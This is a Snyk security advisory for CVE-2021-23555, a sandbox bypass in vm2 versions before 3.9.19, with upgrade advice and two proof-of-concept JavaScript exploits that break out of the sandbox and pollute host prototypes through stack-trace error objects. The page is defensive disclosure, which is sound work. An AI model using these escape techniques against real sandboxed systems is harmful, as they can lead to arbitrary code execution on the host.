Sandbox Bypass Affecting org.webjars.npm:vm2 package, versions [,3.9.19)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
2.88% (86th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-3113862
  • published9 Feb 2022
  • disclosed6 Dec 2021
  • creditCris Staicu, Abdullah Alhamdan

Introduced: 6 Dec 2021

CVE-2021-23555  (opens in a new tab)
CWE-1321  (opens in a new tab)
CWE-265  (opens in a new tab)

How to fix?

Upgrade org.webjars.npm:vm2 to version 3.9.19 or higher.

Overview

org.webjars.npm:vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Bypass via direct access to host error objects generated by node internals during generation of a stacktraces, which can lead to execution of arbitrary code on the host machine.

PoC 1

// tested on Node.js 16.10.0
const {VM} = require('vm2');

vmInstance = new VM();    

console.log(vmInstance.run(`    
function foo(ref) {
    new Error().stack;    
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
    set: function () {                        
        foo(this);
        try {      
            obj[0] = 0;
        } catch (e) {
            e.__proto__.__proto__.__proto__.polluted = 'success';            
        }
    }
})
`));
console.log(polluted);

PoC 2

// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');

vmInstance = new VM();    

vmInstance.run(`
function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
    getRootPrototype(e).polluted = "success";   
}
`);

console.log(polluted);

References

CVSS Base Scores

version 3.1